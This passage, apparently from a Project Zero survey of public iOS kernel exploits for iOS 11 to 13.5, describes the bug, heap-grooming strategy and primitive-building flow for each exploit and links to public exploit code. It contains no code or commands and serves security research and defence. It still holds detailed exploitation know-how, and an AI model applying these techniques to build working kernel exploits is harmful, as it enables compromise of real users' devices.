sprayed and a reference on one port is dropped using the vulnerability. The other ports on the page are freed, leaving a receive right to a dangling Mach port.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced using mach_zone_force_gc() and the page containing the dangling port is reallocated with an OSString buffer via an IOSurface property spray. The OSString buffer contains a pattern that initializes critical fields of the port and allows the index of the OSString containing the port to be determined by calling mach_port_get_context() on the fake port. The OSString containing the fake port is freed and reallocated as a normal Mach port. mach_port_request_notification() is called to put the address of a real Mach port in the fake port's ip_pdrequest field, and the OSString's contents are read via IOSurface to get the address. mach_port_request_notification() is used again to get the address of the fake port itself.\n\n** \n**\n\nThe string buffer is freed and reallocated such that mach_port_get_attributes() can be used as a 4-byte arbitrary read primitive, with the target address to read updateable via mach_port_set_context(). (This is analogous to the pid_for_task() technique, but with slightly different constraints.) Starting at the address of the real Mach port, kernel memory is read to find relevant kernel objects. The string buffer is freed and reallocated again with a fake task port sufficient to remap the string buffer into the process's address space. The fake port is updated via the mapping to yield a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(), and kernel functions are called to generate a fake kernel task port.\n\n** \n**\n\nReferences: [v0rtex writeup](<https://siguza.github.io/v0rtex/>), [v0rtex exploit code](<https://github.com/Siguza/v0rtex>).\n\n## Incomplete exploit for CVE-2018-4150 bpf-filter-poc - iOS 11.2.6\n\nVulnerability analysis and POC by Chris Wade ([@cmwdotme](<https://twitter.com/cmwdotme>)) at Corellium. Exploit by littlelailo ([@littlelailo](<https://twitter.com/littlelailo>)).\n\n** \n**\n\nThe vulnerability: CVE-2018-4150 is a race condition in XNU's BPF subsystem which leads to a linear heap buffer overflow due to a buffer length being increased without reallocating the corresponding buffer.\n\n** \n**\n\nExploit strategy: The race is triggered to incorrectly increase the length of the buffer without reallocating the buffer itself. A packet is sent and stored in the buffer, overflowing into a subsequent OOL ports array and inserting a pointer to a fake Mach port in userspace. Receiving the message containing the OOL ports yields a send right to the fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake Mach port is converted into a clock port and clock_sleep_trap() is used to brute force a kernel image pointer. Then the port is converted into a fake task port to read memory via pid_for_task(). Kernel memory is scanned backwards from the leaked kernel image pointer until the kernel text base is located, breaking KASLR. The final part of the exploit is incomplete, but construction of a fake kernel task port at this stage would be straightforward and deterministic using existing code.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [CVE-2018-4150 POC](<https://github.com/Jailbreaks/CVE-2018-4150/blob/master/CVE-2018-4150.c>), [incomplete-exploit-for-CVE-2018-4150-bpf-filter-poc exploit code](<https://github.com/littlelailo/incomplete-exploit-for-CVE-2018-4150-bpf-filter-poc->).\n\n## multi_path - iOS 11.3.1\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2018-4241 is an intra-object linear heap buffer overflow in XNU's mptcp_usr_connectx() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place a 2048-byte ipc_kmsg struct at a 16 MB aligned address below the mptses structs (the object containing the overflow) associated with a few multipath TCP sockets. The vulnerability is used to overwrite the lower 3 bytes of the mpte_itfinfo pointer in the mptses struct with zeros and the socket is closed. This triggers a kfree() of the corrupted pointer, freeing the ipc_kmsg struct at the 16 MB alignment boundary. The freed ipc_kmsg slot is reallocated with sprayed pipe buffers. The vulnerability is triggered again to overwrite the lower 3 bytes of the mpte_itfinfo pointer in another mptses struct with zeros and the socket is closed, causing another kfree() of the same address. This frees the pipe buffer that was just allocated into that slot, leaving a dangling pipe buffer.\n\n** \n**\n\nSubsequent exploit flow: The slot is reallocated again with a preallocated ipc_kmsg. A userspace thread is crashed to cause a message to be stored in the preallocated ipc_kmsg buffer overlapping the pipe buffer; reading the pipe in userspace yields the contents of the ipc_kmsg struct, giving the address of the dangling pipe buffer/ipc_kmsg. The pipe is written to change the contents of the ipc_kmsg struct such that receiving the message yields a send right to a fake Mach port inside the pipe buffer. The exception message is received and the pipe is rewritten to convert the fake port into a kernel read primitive using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [multi_path exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558#c3>).\n\n## multipath_kfree - iOS 11.3.1\n\nBy John \u00c5kerblom ([@jaakerblom](<https://twitter.com/jaakerblom>)).\n\n** \n**\n\nThe vulnerability: CVE-2018-4241 (same as above).\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place preallocated 4096-byte ipc_kmsg structs near the mptses structs for a few multipath TCP sockets. The vulnerability is triggered twice to corrupt the lower 2 bytes of the mpte_itfinfo pointer in two mptses structs, such that closing the sockets results in kfree()s of the two corrupted pointers. Each pointer is corrupted to point 0x7a0 bytes into an ipc_kmsg allocation, creating 4096-byte holes spanning 2 messages. A Mach port containing one of the partially-freed ipc_kmsg structs (with the ipc_kmsg header intact but the message contents freed) is located by using mach_port_peek() to detect a corrupted msgh_id field. Once the port is found, the hole is reallocated by spraying preallocated ipc_kmsg structs and a message is placed in each. Filling the hole overlaps the original (partially freed) ipc_kmsg's Mach message contents with the ipc_kmsg header of the replacement, such that receiving the message on the original port reads the contents of the replacement ipc_kmsg header. The header contains a pointer to itself, disclosing the address of the replacement ipc_kmsg allocation. The vulnerability is triggered a third time to free the replacement message, leaving a partially freed preallocated ipc_kmsg at a known address.\n\n** \n**\n\nSubsequent exploit flow: The hole in the corrupted ipc_kmsg is reallocated by spraying AGXCommandQueue user clients. A message is received on the Mach port in userspace, copying out the contents of the AGXCommandQueue object, from which the vtable is used to determine the KASLR slide. Then the corrupted ipc_kmsg is freed and reallocated by spraying more preallocated ipc_kmsg structs with a slightly different internal layout allowing more control over the contents. A message is placed in each of the just-sprayed ipc_kmsg structs to modify the overlapping AGXCommandQueue and hijack a virtual method call; the hijacked virtual method uses the OSSerializer::serialize() gadget to call copyout(), which is used to identify which of the sprayed AGXCommandQueue user clients overlaps the slot from the corrupted ipc_kmsg. The contents of each of the just-sprayed preallocated ipc_kmsg structs is updated in turn to identify which port corresponds to the corrupted ipc_kmsg. The preallocated port and user client port are used together to build a 3-argument arbitrary kernel function call primitive by updating the contents of the AGXCommandQueue object through an exception message sent to the preallocated port.\n\n** \n**\n\nReferences: [multipath_kfree exploit code](<https://github.com/potmdehex/multipath_kfree>).\n\n## empty_list - iOS 11.3.1\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2018-4243 is a partially controlled 8-byte heap out-of-bounds write in XNU's getvolattrlist() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: Due to significant triggering constraints, the vulnerability is treated as an 8-byte heap out-of-bounds write of zeros off the end of a kalloc.16 allocation. The kernel heap is groomed into a pattern of alternating blocks for the zones of kalloc.16 and ipc.ports, and further grooming reverses the kalloc.16 freelist. The vulnerability is repeatedly triggered after freeing various kalloc.16 allocations until a kalloc.16 allocation at the end of a block is overflowed, corrupting the first 8 bytes of the first ipc_port on the subsequent page. The corrupted port is freed by calling mach_port_set_attributes(), leaving the process holding a receive right to a dangling Mach port.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced and the dangling port is reallocated with an OOL ports array containing a pointer to another Mach port overlapping the ip_context field, so that the address of the other port is retrieved by calling mach_port_get_context(). The dangling port is then reallocated with pipe buffers and converted into a kernel read primitive using pid_for_task(). Using the address of the other port as a starting point, relevant kernel objects are located. Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [empty_list exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1564#c10>).\n\n## In-the-wild iOS Exploit Chain 3 - iOS 11.4\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: The vulnerability is a double-free reachable from AppleVXD393UserClient::DestroyDecoder() (the class name varies by hardware) due to failing to clear a freed pointer.\n\n** \n**\n\nExploit strategy: The target 56-byte allocation is created and freed, leaving the dangling pointer intact. The slot is reallocated with an OSData buffer using an IOSurface property spray. The vulnerable method is called again to free the buffer, leaving a dangling OSData buffer. The slot is reallocated again with an OOL ports array containing a single target Mach port pointer and the contents are read in userspace via IOSurface properties, yielding the address of the port. The vulnerable method is called once more to free the OOL ports and the slot is reallocated with another OSData buffer containing two pointers to the Mach port. The holding port holding the OOL descriptor is destroyed, dropping two references to the Mach port. This leaves the process with a receive right to a dangling Mach port at a known address.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is performed and the dangling port is reallocated with a segmented OOL memory spray such that calling mach_port_get_context() can identify which segment of the spray reallocated the port. That segment is freed and the dangling port is reallocated with pipe buffers, giving a controlled fake Mach port at a known address. The fake port is converted into a clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is next converted into a fake task port and a kernel read primitive is established using pid_for_task(). Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 3 - XPC + VXD393/D5500 repeated IOFree](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-3.html>).\n\n## Spice - iOS 11.4.1\n\nVulnerability analysis and POC by Luca Moro ([@JohnCool__](<https://twitter.com/JohnCool__>)) at Synacktiv. Exploit by Siguza, Viktor Oreshkin ([@stek29](<https://twitter.com/stek29>)), Ben Sparkes ([@iBSparkes](<https://twitter.com/ibsparkes>)), and littlelailo.\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (possibly CVE-2018-4344) is a race condition in XNU's lio_listio() due to improper state management that results in a use-after-free.\n\n** \n**\n\nExploit strategy: The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Another thread repeatedly sends a message containing an OOL ports array allocated from kalloc.16, immediately sprays a large number of kalloc.16 allocations containing a pointer to a fake Mach port in userspace via IOSurface properties, and receives the OOL ports. When the race is won, the double-free can cause the OOL ports array to be freed, and the subsequent spray can reallocate the slot with a fake OOL ports array. Receiving the OOL ports in userspace gives a receive right to a fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A second Mach port is registered as a notification port on the fake port, disclosing the address of the second port in the fake port's ip_pdrequest field. The fake port is modified to construct a kernel read primitive using mach_port_get_attributes(). Starting from the disclosed port pointer, kernel memory is read to find relevant kernel objects. The fake port is converted into a fake user client port providing a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(). Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nThe analysis was performed on the implementation in the file pwn.m, since this seems to provide the most direct comparison to the other exploit implementations in this list.\n\n** \n**\n\nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [Spice exploit code](<https://github.com/JakeBlair420/Spice>).\n\n## treadm1ll - iOS 11.4.1\n\nVulnerability analysis and POC by Luca Moro. Exploit by Tihmstar ([@tihmstar](<https://twitter.com/tihmstar>)).\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (same as above).\n\n** \n**\n\nExploit strategy: The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Another thread sends a fixed number of messages containing an OOL ports array allocated from kalloc.16. When the race is won, the double-free can cause the OOL ports array to be freed, leaving a dangling OOL ports array pointer in some messages. The first thread stops triggering the vulnerability and a large number of IOSurface objects are created. Each message is received in turn and a large number of kalloc.16 allocations containing a pointer to a fake Mach port in userspace are sprayed using IOSurface properties. Each spray can reallocate a slot from a dangling OOL ports array with a fake OOL ports array. Successfully receiving the OOL ports in userspace gives a receive right to a fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A second Mach port is registered as a notification port on the fake port, disclosing the address of the second port in the fake port's ip_pdrequest field. The fake port is modified to construct a kernel read primitive using pid_for_task(). Starting from the disclosed port pointer, kernel memory is read to find relevant kernel objects. The fake port is converted into a fake user client port providing a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(). Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [treadm1ll exploit code](<https://github.com/tihmstar/treadm1ll>).\n\n## Chaos - iOS 12.1.2\n\nBy Qixun Zhao ([@S0rryMybad](<https://twitter.com/S0rryMybad>)) of Qihoo 360 Vulcan Team.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 is a use-after-free due to XNU's task_swap_mach_voucher() failing to comply with MIG lifetime semantics that results in an extra reference being added or dropped on an ipc_voucher object.\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered twice to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OSString buffer using an IOSurface property spray. thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OSString buffer; reading the OSString property discloses the address of the voucher port. The OSString overlapping the fake voucher is freed and reallocated with a large spray that both forces the allocation of controlled data containing a fake Mach port at a hardcoded address and updates the fake voucher's iv_port pointer to point to the fake Mach port. thread_get_mach_voucher() is called again to obtain a send right to the fake port and to identify which OSString buffer contains the fake Mach port. This leaves the process with a send right to a fake Mach port in an IOSurface property buffer at a known address (roughly equivalent to a dangling Mach port). A kernel read primitive is built by reallocating the OSString buffer to convert the fake port into a fake task port and calling pid_for_task() to read arbitrary memory. Relevant kernel objects are located and the fake port is converted into a fake map port to remap the fake port into userspace, removing the need to reallocate it. Finally the fake port is converted into a fake kernel task port.\n\n** \n**\n\nNotes: The A12 introduced PAC, which limits the ability to use certain exploitation techniques involving code pointers (e.g. vtable hijacking). Also, iOS 12 introduced a mitigation in ipc_port_finalize() against freeing a port while it is still active (i.e. hasn't been destroyed, for example because a process still holds a right to it). This changed the common structure of past exploits whereby a port would be freed while a process still held a right to it. Possibly as a result, obtaining a right to a fake port in iOS 12+ exploits seems to occur later in the flow than in earlier exploits.\n\n** \n**\n\nReferences: [IPC Voucher UaF Remote Jailbreak Stage 2 (EN)](<https://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202%20\\(EN\\).html>).\n\n## voucher_swap - iOS 12.1.2\n\nBy Brandon Azad ([@_bazad](<https://twitter.com/_bazad>)) of Google Project Zero.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to put a block of ipc_port allocations directly before a block of pipe buffers. A large number of ipc_voucher objects are sprayed and the vulnerability is triggered to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated with an OOL ports array containing a pointer to a previously-allocated ipc_port overlapping the voucher's iv_refs field. A send right to the voucher port is retrieved by calling thread_get_mach_voucher() and the voucher's reference count is increased by repeatedly calling the vulnerable function, updating the overlapping ipc_port pointer to point into the pipe buffers. Receiving the OOL ports yields a send right to a fake Mach port whose contents can be controlled directly. mach_port_request_notification() is called to insert a pointer to an array containing a pointer to another Mach port in the fake port's ip_requests field. A kernel read primitive is built using pid_for_task(), and the address of the other Mach port is read to compute the address of the fake port. Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nReferences: [voucher_swap: Exploiting MIG reference counting in iOS 12](<https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html>), [voucher_swap exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1731#c10>).\n\n## machswap2 - iOS 12.1.2\n\nBy Ben Sparkes.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered twice to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OSString buffer containing a fake voucher using an IOSurface property spray. thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OSString buffer; reading the OSString property discloses the address of the voucher port. Pipe buffers containing fake task ports are sprayed to land roughly 1 MB after the disclosed port address. The OSString overlapping the fake voucher is freed and reallocated to update the fake voucher's iv_port pointer to point to point into the pipe buffers. thread_get_mach_voucher() is called again to retrieve the updated voucher port, yielding a send right to a fake Mach port at a known address whose contents can be controlled directly. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The author developed two versions of this exploit: one for pre-PAN devices, and one for PAN-enabled devices. The exploit presented here is for PAN-enabled devices.\n\n** \n**\n\nReferences: [machswap2 exploit code](<https://github.com/PsychoTea/machswap2>), [MachSwap: an iOS 12 Kernel Exploit](<https://sparkes.zone/blog/ios/2019/04/30/machswap-ios-12-kernel-exploit.html>), [machswap exploit code](<https://github.com/PsychoTea/machswap>).\n\n## In-the-wild iOS Exploit Chain 5 - iOS 12.1.2\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OOL memory spray. A large number of Mach ports are allocated and then thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OOL ports array. More ports are allocated and then the OOL memory spray is received, disclosing the address of the voucher port for the fake voucher. The dangling voucher is reallocated again with another OOL memory spray that updates the voucher's iv_port pointer to the subsequent page. The Mach ports are destroyed and a zone garbage collection is forced, leaving the fake voucher holding a pointer to a dangling port. The dangling port is reallocated with pipe buffers. Finally, thread_get_mach_voucher() is called, yielding a send right to a fake Mach port at a known address whose contents can be controlled directly. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 5 - task_swap_mach_voucher](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html>).\n\n## In-the-wild iOS Exploit Chain 4 - iOS 12.1.3\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df. Also reported by an anonymous researcher.\n\n** \n**\n\nThe vulnerability: CVE-2019-7287 is a linear heap buffer overflow in the IOKit function ProvInfoIOKitUserClient::ucEncryptSUInfo() due to an unchecked memcpy().\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place holes in kalloc.4096 before an OOL ports array and holes in kalloc.6144 before an OSData buffer accessible via IOSurface properties. The vulnerability is triggered with the source allocated from kalloc.4096 and the destination allocated from kalloc.6144, causing the address of a target Mach port to be copied into the OSData buffer. The OSData buffer is then read, disclosing the address of the target port. The heap is groomed again to place holes in kalloc.4096 before an OOL memory buffer and in kalloc.6144 before an OOL ports array. The vulnerability is triggered again to insert a pointer to the target port into the OOL ports array. The target port is freed and a zone garbage collection is forced, leaving a dangling port pointer in the OOL ports array. The dangling port is reallocated with pipe buffers and the OOL ports are received, giving a receive right to a fake Mach port at a known address whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake port is converted into a fake clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 4 - cfprefsd + ProvInfoIOKit](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html>), [About the security content of iOS 12.1.4](<https://support.apple.com/lt-lt/HT209520>).\n\n## Attacking iPhone XS Max - iOS 12.1.4\n\nBy Tielei Wang ([@wangtielei](<https://twitter.com/wangtielei>)) and Hao Xu ([@windknown](<https://twitter.com/windknown>)).\n\n** \n**\n\nThe vulnerability: The vulnerability is a race condition in XNU's UNIX domain socket bind implementation due to the temporary unlock antipattern that results in a use-after-free.\n\n** \n**\n\nExploit strategy: Sockets are sprayed and the vulnerability is triggered to leave a pointer to a dangling socket pointer in a vnode struct. The sockets are closed, a zone garbage collection is forced, and the sockets are reallocated with controlled data via an OSData spray (possibly an IOSurface property spray). The fake socket is constructed to have a reference count of 0. The use after free is triggered to call socket_unlock() on the fake socket, which causes the fake socket/OSData buffer to be freed using kfree(). This leaves a dangling OSData buffer accessible using unspecified means.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData buffer is reallocated with an OOL ports array and the OSData buffer is freed, leaving a dangling OOL ports array. Kernel memory is sprayed to place a fake Mach port at a hardcoded address (or an information leak is used) and the OOL ports array is reallocated with another OSData buffer, inserting a pointer to the fake Mach port into the OOL ports array. The OOL ports are received, yielding a send or receive right to the fake Mach port at a known address. The fake port is converted into a fake kernel task port by unspecified means.\n\n** \n**\n\nNotes: The only reference for this exploit is a BlackHat presentation, hence the uncertainties in the explanations above.\n\n** \n**\n\nThe authors developed two versions of this exploit: one for non-PAC devices, and one for PAC-enabled devices. The exploit presented here is for PAC-enabled devices. The non-PAC exploit is substantially simpler (hijacking a function pointer used by socket_lock()).\n\n** \n**\n\nReferences: [Attacking iPhone XS Max](<https://i.blackhat.com/USA-19/Thursday/us-19-Wang-Attacking-IPhone-XS-Max.pdf>).\n\n## SockPuppet - iOS 12.2 and iOS 12.4\n\nBy Ned Williamson ([@nedwilliamson](<https://twitter.com/nedwilliamson>)) working with Google Project Zero.\n\n** \n**\n\nThe vulnerability: CVE-2019-8605 is a use-after-free due to XNU's in6_pcbdetach() failing to clear a freed pointer.\n\n** \n**\n\nExploit strategy: Safe arbitrary read, arbitrary kfree(), and arbitrary Mach port address disclosure primitives are constructed over the vulnerability.\n\n** \n**\n\nThe arbitrary read primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OSData buffer spray via IOSurface properties such that ip6po_minmtu is set to a known value and ip6po_pktinfo is set to the address to read. The ip6po_minmtu field is checked via getsockopt(), and if correct, getsockopt(IPV6_PKTINFO) is called to read 20 bytes of data from the address pointed to by ip6po_pktinfo.\n\n** \n**\n\nThe arbitrary kfree() primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OSData buffer spray via IOSurface properties such that ip6po_minmtu is set to a known value and ip6po_pktinfo is set to the address to free. The ip6po_minmtu field is checked via getsockopt(), and if correct, setsockopt(IPV6_PKTINFO) is called to invoke kfree_addr() on the ip6po_pktinfo pointer.\n\n** \n**\n\nThe arbitrary Mach port address disclosure primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OOL ports array spray containing pointers to the target port. The ip6po_minmtu and ip6po_prefer_tempaddr fields are read via getsockopt(), disclosing the value of the target port pointer. The port is checked to be of the expected type using the arbitrary read primitive.\n\n** \n**\n\nSubsequent exploit flow: The Mach port address disclosure primitive is used to disclose the address of the current task. Two pipes are created and the addresses of the pipe buffers in the kernel are found using the kernel read primitive. Relevant kernel objects are located and a fake kernel task port is constructed in one of the pipe buffers. The arbitrary kfree() primitive is used to free the pipe buffer for the other pipe, and the pipe buffer is reallocated by spraying OOL ports arrays. The pipe is then written to insert a pointer to the fake kernel task port into the OOL ports array, and the OOL ports are received, yielding a fake kernel task port.\n\n** \n**\n\nNotes: Unlike most other exploits on this list which are structured linearly, SockPuppet is structured hierarchically, building on the same primitives throughout. This distinct structure is likely due to the power and stability of the underlying vulnerability: the bug directly provides both an arbitrary read and an arbitrary free primitive, and in practice both primitives are 100% safe and reliable because it is possible to check that the reallocation is successful. However, this structure means that there is no clear temporal boundary in the high-level exploit flow between the vulnerability-specific and generic exploitation. Instead, that boundary occurs between conceptual layers in the exploit code.\n\n** \n**\n\nThe SockPuppet bug was fixed in iOS 12.3 but reintroduced in iOS 12.4.\n\n** \n**\n\nReferences: [SockPuppet: A Walkthrough of a Kernel Exploit for iOS 12.4](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>), [SockPuppet exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806#c13>).\n\n## AppleAVE2Driver exploit - iOS 12.4.1\n\nBy 08Tc3wBB ([@08Tc3wBB](<https://twitter.com/08Tc3wBB>)).\n\n** \n**\n\nThe vulnerability: CVE-2019-8795 is a memory corruption in AppleAVE2Driver whereby improper bounds checking leads to processing of out-of-bounds data, eventually resulting in a controlled virtual method call or arbitrary kfree(). CVE-2019-8794 is a kernel memory disclosure in AppleSPUProfileDriver due to uninitialized stack data being shared with userspace.\n\n** \n**\n\nExploit strategy: The KASLR slide is discovered using the AppleSPUProfileDriver vulnerability. OSData buffers containing fake task ports are sprayed using IOSurface properties. The vulnerability is triggered to free an OSData buffer at a hardcoded address, leaving a dangling OSData buffer accessible via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData buffer is reallocated with an OOL ports array and the OSData buffer is freed, leaving a dangling OOL ports array. The OOL ports array is reallocated with another OSData buffer, inserting pointers to the fake task ports sprayed earlier into the OOL ports array. The OOL ports are received, yielding send rights to the fake task ports, and pid_for_task() is used to read pointers to relevant kernel objects. The OSData buffer is freed and reallocated to convert one of the fake ports into a fake kernel task port.\n\n** \n**\n\nNotes: iOS versions up to 13.1.3 were vulnerable, but the exploit presented here targeted iOS 12.4.1.\n\n** \n**\n\nThe author developed two versions of this exploit: one for non-PAC devices, and one for PAC-enabled devices. The exploit presented here is for PAC-enabled devices.\n\n** \n**\n\nReferences: [ZecOps_FreeTheSandbox_iOS_PAC_TFP0_POC_BEQ_12_4_2 exploit code](<https://github.com/ZecOps/public/tree/master/ZecOps_FreeTheSandbox_iOS_PAC_TFP0_POC_BEQ_12_4_2>), [ZecOps Task-For-Pwn 0 Bounty: TFP0 POC on PAC-Enabled iOS Devices <= 12.4.2](<https://blog.zecops.com/vulnerabilities/releasing-first-public-task-for-pwn0-tfp0-granting-poc-on-ios/>), [SSD Advisory \u2013 iOS Jailbreak via Sandbox Escape and Kernel R/W leading to RCE](<https://ssd-disclosure.com/ssd-advisory-via-ios-jailbreak-sandbox-escape-and-kernel-r-w-leading-to-rce/>), [SSD Advisory 4066 exploit code](<https://github.com/ssd-secure-disclosure/advisories/tree/master/SSD%20Advisory%20-%204066>), [About the security content of iOS 13.2 and iPadOS 13.2](<https://support.apple.com/en-il/HT210721>).\n\n## oob_timestamp - iOS 13.3\n\nBy Brandon Azad.\n\n** \n**\n\nThe vulnerability: CVE-2020-3837 is a linear heap out-of-bounds write of up to 8 bytes of timestamp data in IOKit's IOAccelCommandQueue2::processSegmentKernelCommand() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: The kernel map is groomed to lay out two 96 MB shared memory regions, an 8-page ipc_kmsg, an 8-page OOL ports array, and 80 MB of OSData buffers sprayed via IOSurface properties. The number of bytes to overflow is computed based on the current time and the overflow is triggered to corrupt the ipc_kmsg's ikm_size field, such that the ipc_kmsg now has a size of between 16 pages and 80 MB. The port containing the ipc_kmsg is destroyed, freeing the corrupted ipc_kmsg, the OOL ports array, and some of the subsequent OSData buffers. More OSData buffers are sprayed via IOSurface to reallocate the OOL ports array containing a pointer to a fake Mach port at a hardcoded address that is likely to overlap one of the 96 MB shared memory regions. The OOL ports are received, producing a receive right to a fake Mach port at a known address whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A kernel memory read primitive is constructed using pid_for_task(). Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nNotes: iOS 13 introduced zone_require, a mitigation that checks whether certain objects are allocated from the expected zalloc zone before they are used. An oversight in the implementation led to a trivial bypass when objects are allocated outside of the zalloc_map.\n\n** \n**\n\nReferences: [oob_timestamp exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>). \n\n\n## tachy0n (unc0ver 5.0.0) - iOS 13.5\n\nBy Pwn20wnd ([@Pwn20wnd](<https://twitter.com/Pwn20wnd>)), unc0ver Team ([@unc0verTeam](<https://twitter.com/unc0verTeam>)), and Siguza.\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (see \"Spice\" above; reintroduced in iOS 13).\n\n** \n**\n\nExploit strategy: (Analysis pending.) The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Preliminary results suggest that the freed kalloc.16 slot is reallocated by OSData buffers sprayed via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: (Analysis pending.)\n\n** \n**\n\nNotes: The unc0ver exploit was released as an obfuscated binary; a more complete analysis of the exploit strategy and exploit flow will be released after the [tachy0n](<https://twitter.com/s1guza/status/1266433756270866433>) exploit code is published.\n\n** \n**\n\nWhile iOS 12 patched the LightSpeed vulnerability, the patch did not address the root cause and created a memory leak. This memory 